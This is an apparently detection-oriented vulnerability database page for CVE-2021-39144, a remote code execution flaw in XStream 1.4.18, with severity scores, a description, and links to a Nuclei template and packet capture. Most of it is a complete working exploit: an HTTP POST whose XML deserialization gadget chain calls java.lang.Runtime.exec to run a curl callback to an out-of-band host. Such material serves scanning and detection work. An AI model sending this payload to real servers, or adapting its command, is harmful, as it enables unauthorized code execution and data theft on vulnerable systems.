🔙 목록으로 돌아가기

CVE-2021-39144: XStream 1.4.18 - Remote Code Execution

TitleXStream 1.4.18 - Remote Code Execution
Authorpwnhxl,vicrack
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
RemediationUpgrade XStream to a version that is not affected by CVE-2021-39144.
CVSS Score8.5
EPSS Score0.9438
CVE IDCVE-2021-39144
CWE IDCWE-306,CWE-502
Tags cve2021 cve xstream deserialization rce kev xstream_project vkev vuln

🔍 Vulnerability Description

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream’s security recommendations with an allow-list are not impacted.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Content-Length: 1320
Content-Type: application/xml
Accept-Encoding: gzip

<java.util.PriorityQueue serialization='custom'>

  <unserializable-parents/>

  <java.util.PriorityQueue>

    <default>

      <size>2</size>

    </default>

    <int>3</int>

    <dynamic-proxy>

      <interface>java.lang.Comparable</interface>

      <handler class='sun.tracing.NullProvider'>

        <active>true</active>

        <providerType>java.lang.Comparable</providerType>

        <probes>

          <entry>

            <method>

              <class>java.lang.Comparable</class>

              <name>compareTo</name>

              <parameter-types>

                <class>java.lang.Object</class>

              </parameter-types>

            </method>

            <sun.tracing.dtrace.DTraceProbe>

              <proxy class='java.lang.Runtime'/>

              <implementing__method>

                <class>java.lang.Runtime</class>

                <name>exec</name>

                <parameter-types>

                  <class>java.lang.String</class>

                </parameter-types>

              </implementing__method>

            </sun.tracing.dtrace.DTraceProbe>

          </entry>

        </probes>

      </handler>

    </dynamic-proxy>

    <string>curl http://d5jo1phle0o30h4a8b80y1uasyugrk71h.oast.online</string>

  </java.util.PriorityQueue>

</java.util.PriorityQueue>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39144.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39144.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A